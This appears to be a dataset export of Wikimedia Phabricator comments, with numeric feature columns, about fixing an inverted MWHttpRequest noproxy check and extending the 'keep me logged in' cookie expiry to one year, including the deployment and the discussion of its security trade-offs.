https://gerrit.wikimedia.org/r/141374",,,1403491994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.818181818181818,1.0,"Change 141374 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

GERRIT_URL"
304848,MWHttpRequest check for noproxy is inverted,"Change 141366 had a related patch set uploaded by devunt:
Use correct condition for MWHttpRequest::proxySetup() function

https://gerrit.wikimedia.org/r/141366",,,1403478046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,1.0,"Change 141366 had a related patch set uploaded by devunt:
Use correct condition for MWHttpRequest::proxySetup() function

GERRIT_URL"
68699,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Scheduled: This is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.

**Author:** `swalling`

**Description:**
Previously, we were required to remember a user's session information for no longer than 30 days on Wikimedia sites. The new privacy policy (https://meta.wikimedia.org/wiki/Privacy_policy) does not require such a limitation, and in fact explicitly calls out remembering logins as a use case: ""...such as by using cookies to maintain your session when you log in or to remember your username in the login field.""

As such, if a user checks the ""keep me logged in option"" on the login form, cookie expiry should be set to one year. 

In practice, this will often be shorter, since users often travel across many browsers or devices, and may clear their cookies. At the very least, users who opt in to being remembered should have their sessions remembered for longer than the arbitrary 30 day limit.

--------------------------
**See Also**:
{T69512}",Medium,50.0,1402984200,1471368615.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_description,resolved,True,c3,1,False,False,False,-55,True,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,10.333333333333334,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,2.6666666666666665,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,12.333333333333334,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,2.0,6.666666666666667,1.0,1.6666666666666667,5.333333333333333,0.0,0.0,0.0,0.0,4.0,0.0,2.3333333333333335,0.0,2.6666666666666665,10.333333333333334,2.0,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,3.8216822961068484,0.7863739698778062,"Scheduled: This is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.

**Author:** CODE

**Description:**
Previously, we were required to remember a user's session information for no longer than 30 days on Wikimedia sites. The new privacy policy (URL does not require such a limitation, and in fact explicitly calls out remembering logins as a use case: ""...such as by using cookies to maintain your session when you log in or to remember your username in the login field.""

As such, if a user checks the ""keep me logged in option"" on the login form, cookie expiry should be set to one year. 

In practice, this will often be shorter, since users often travel across many browsers or devices, and may clear their cookies. At the very least, users who opt in to being remembered should have their sessions remembered for longer than the arbitrary 30 day limit.

--------------------------
**See Also**:
{T69512}"
723657,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304493 merged by jenkins-bot:
Rm unused 'remembermypassword' message, doc another

[[https://gerrit.wikimedia.org/r/304493]]",,,1473196832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,61,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.9583333333333335,0.875,"Change 304493 merged by jenkins-bot:
Rm unused 'remembermypassword' message, doc another

[[GERRIT_URL]]"
716413,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#696214, @Mattflaschen-WMF wrote:
> There's also a benefit if the user (think of new users especially) forgets their password, especially since we don't require an email.
> 
> It's common for there to be a tension between security and convenience.

Actually, I think there is a potential trap there:
* New user creates a wikipedia account to make some minor fixes, he doesn't provide an email address (or mistypes it).
* He actually gets hooked and starts editing heavily.
* After 6-8 months, due to some local changes (eg. related to a browser update), his session expires.
* User doesn't remember the password he made up 8 months ago and used only once. However, he has now invested  a more significantt effort on wikimedia under his now-lost username.
* If he had been logged out after a week, it would be easier to remember the password and also less traumatic to start again.",,,1471993831,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,59,True,1.0,0.0,0.0,0.5,1.0,4.5,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.5,0.5,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,0.5,0.0,0.5,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,4.5,2.0,6.5,0.5,2.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,6.0,8.0,1.5,0.0,0.0,0.0,6.0,0.0,0.0,3.5,0.0,0.5,2.0,0.0,0.5,3.636842105263158,0.7485087719298246,"QUOTE
QUOTE
QUOTE
QUOTE

Actually, I think there is a potential trap there:
* New user creates a wikipedia account to make some minor fixes, he doesn't provide an email address (or mistypes it).
* He actually gets hooked and starts editing heavily.
* After 6-8 months, due to some local changes (eg. related to a browser update), his session expires.
* User doesn't remember the password he made up 8 months ago and used only once. However, he has now invested  a more significantt effort on wikimedia under his now-lost username.
* If he had been logged out after a week, it would be easier to remember the password and also less traumatic to start again."
713535,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2561424, @Mpaulson wrote:
> When is it going to be changed over?

It happened on Tuesday, 16 August 2016 at 15:14 UTC (8:14 a.m. PDT).",,,1471517744,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,10.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9523809523809523,"QUOTE
QUOTE

It happened on Tuesday, 16 August 2016 at 15:14 UTC (8:14 a.m. PDT)."
713082,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen-WMF @Whatamidoing-WMF  @Mpaulson The updates are complete.,,,1471455799,,PHID-USER-cgw4o6eavdk7iiz2ylah,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,45.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.7272727272727275,0.8181818181818182,SCREEN_NAME-WMFSCREEN_NAME-WMF SCREEN_NAME The updates are complete.
713069,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen-WMF @WhatamIdoing @APalmer_WMF - Matt should be working with Aeryn to update the various cookie documents to 1 year. When is it going to be changed over?,,,1471455061,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,17.0,7.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.689655172413793,0.8620689655172413,SCREEN_NAME-WMFSCREEN_NAMESCREEN_NAME - Matt should be working with Aeryn to update the various cookie documents to 1 year. When is it going to be changed over?
712758,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","@Mpaulson , I believe that https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ still needs to be updated.  Is this on your calendar?",,,1471425318,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,1.0,"SCREEN_NAME , I believe that URL still needs to be updated.  Is this on your calendar?"
712669,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2557657, @Mattflaschen-WMF wrote:
> I noticed that the loginwiki centralauth_User cookie still gets set to a month-one expiration (the centralauth_User cookies on the individual sites are a full year).

Works for me. Are you looking at the right request? It's set on the request to `Special:CentralAutoLogin/refreshCookies` (see `SpecialCentralLogin::doLoginStart`, the part with the comment //Start an unusable placeholder session stub and send a cookie//, and `SpecialCentralAutoLogin::execute`, under `case 'refreshCookies'`).",,,1471403445,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,18.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,12.0,10.0,2.0,0.0,0.0,6.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,3.627450980392157,0.7647058823529411,"QUOTE
QUOTE

Works for me. Are you looking at the right request? It's set on the request to CODE (see CODE, the part with the comment //Start an unusable placeholder session stub and send a cookie//, and CODE, under CODE)."
712313,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","All looks good to me, too.

Thanks Matt, and everyone who helped!",,,1471368615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.235294117647059,0.9411764705882353,"All looks good to me, too.

Thanks Matt, and everyone who helped!"
712294,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I noticed that the loginwiki centralauth_User cookie still gets set to a month-one expiration (the centralauth_User cookies on the individual sites are a full year).

This doesn't seem to affect the other cookies, though.  I set my clock into the future, and I am still logged in.  Also, even this central cookie is getting set to the full year later.

So everything seems to be working.",,,1471366289,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,1.0,0.0,1.0,1.0,6.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,7.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9036144578313254,0.6746987951807228,"I noticed that the loginwiki centralauth_User cookie still gets set to a month-one expiration (the centralauth_User cookies on the individual sites are a full year).

This doesn't seem to affect the other cookies, though.  I set my clock into the future, and I am still logged in.  Also, even this central cookie is getting set to the full year later.

So everything seems to be working."
712238,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVaT6wZraH8PnNb4DxJd} [2016-08-16T15:14:28Z] <thcipriani@tin> Synchronized wmf-config/CommonSettings.php: SWAT: [[gerrit:230954|Change login cookies (for ""Keep me logged in"") to a one year expiry. (T68699)]] (duration: 01m 08s)",,,1471360469,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,6.0,12.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,3.4242424242424243,0.7424242424242424,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-16T15:14:28Z] <thcipriani@tin> Synchronized wmf-config/CommonSettings.php: SWAT: [[gerrit:230954|Change login cookies (for ""Keep me logged in"") to a one year expiry. (T68699)]] (duration: 01m 08s)"
712234,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 merged by jenkins-bot:
Change login cookies (for 'Keep me logged in') to a one year expiry.

[[https://gerrit.wikimedia.org/r/230954]]",,,1471359841,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,12.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,3.1818181818181817,0.8787878787878788,"Change 230954 merged by jenkins-bot:
Change login cookies (for 'Keep me logged in') to a one year expiry.

[[GERRIT_URL]]"
711753,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2551245, @MZMcBride wrote:
> csteipp, BBlack, and Krinkle expressed concerns about the approach being taken here (cf. T68699#696077, T68699#1534649, and T68699#696227). I think we should make sure that there are separate follow-up Phabricator Maniphest tasks to track the additional work needed here so that those concerns don't get overlooked.

@csteipp did OK the current approach (T68699#696127), though.  I filed {T143015} as a follow up task.

The other part is part-technical, part-product, and it's not clear if and what we want to do there.  But I've filed {T143019}.",,,1471284666,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,17.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.25,0.75,"QUOTE
QUOTE
SCREEN_NAME did OK the current approach (T68699#696127), though.  I filed {T143015} as a follow up task.

The other part is part-technical, part-product, and it's not clear if and what we want to do there.  But I've filed {T143019}."
711233,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2450022, @Mattflaschen-WMF wrote:
> Any other steps?

csteipp, BBlack, and Krinkle expressed concerns about the approach being taken here (cf. T68699#696077, T68699#1534649, and T68699#696227). I think we should make sure that there are separate follow-up Phabricator Maniphest tasks to track the additional work needed here so that those concerns don't get overlooked.",,,1471127888,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,5.0,8.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,16.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,3.0,8.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.655737704918033,0.819672131147541,"QUOTE
QUOTE

csteipp, BBlack, and Krinkle expressed concerns about the approach being taken here (cf. T68699#696077, T68699#1534649, and T68699#696227). I think we should make sure that there are separate follow-up Phabricator Maniphest tasks to track the additional work needed here so that those concerns don't get overlooked."
711074,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2549403, @Mattflaschen-WMF wrote:
> Could you do a ""see also"", so we can keep that particular page short (and thus readable and easy-to-translate)?

Thought about that a bit more and decided they are not all that relevant (they are about protecting login, not protecting being logged in).",,,1471056728,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,3.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,4.03125,0.78125,"QUOTE
QUOTE

Thought about that a bit more and decided they are not all that relevant (they are about protecting login, not protecting being logged in)."
710971,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2549376, @Tgr wrote:
> Is there a good reason not to change `userlogin-remembermypassword` globally (or at least Wikimedia-globally) to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.

I would prefer not to.  The downside is that it makes the login form more busy, when we've put a lot of effort into keeping it simple.  And it just doesn't seem like users need or expect that level of information on the login screen.  Let's take any further discussion to {T49694} (where there has been extensive discussion already).

> Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.

Could you do a ""see also"", so we can keep that particular page short (and thus readable and easy-to-translate)?",,,1471037260,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1.0,0.0,0.0,0.0,1.0,6.5,1.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,6.0,6.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,3.5,1.5,1.5,0.0,1.0,0.5,0.0,2.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,8.0,0.0,1.5,1.5,1.5,0.0,0.0,0.0,1.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,6.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.0,6.0,1.0,1.0,2.0,0.0,5.0,0.0,1.5,1.5,0.0,0.5,0.5,0.0,0.0,3.5454545454545454,0.8363636363636363,"QUOTE
QUOTE

I would prefer not to.  The downside is that it makes the login form more busy, when we've put a lot of effort into keeping it simple.  And it just doesn't seem like users need or expect that level of information on the login screen.  Let's take any further discussion to {T49694} (where there has been extensive discussion already).

QUOTE

Could you do a ""see also"", so we can keep that particular page short (and thus readable and easy-to-translate)?"
710965,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks for making this happen, Matt!

Is there a good reason not to change `userlogin-remembermypassword` globally (or at least Wikimedia-globally) to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.

>>! In T68699#2548544, @Mattflaschen-WMF wrote:
> I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .

Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.",,,1471036218,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,2.0,0.0,0.0,0.0,0.5,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,9.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,1.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,7.5,0.0,2.0,9.5,0.0,0.0,0.5,0.0,5.5,0.0,0.0,0.0,0.0,9.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,4.074074074074074,0.8240740740740741,"Thanks for making this happen, Matt!

Is there a good reason not to change CODE globally (or at least Wikimedia-globally) to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.

QUOTE
QUOTE

Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change."
710961,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks for making this happen, Matt!

Is there a good reason not to change `userlogin-remembermypassword` globally to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.

>>! In T68699#2548544, @Mattflaschen-WMF wrote:
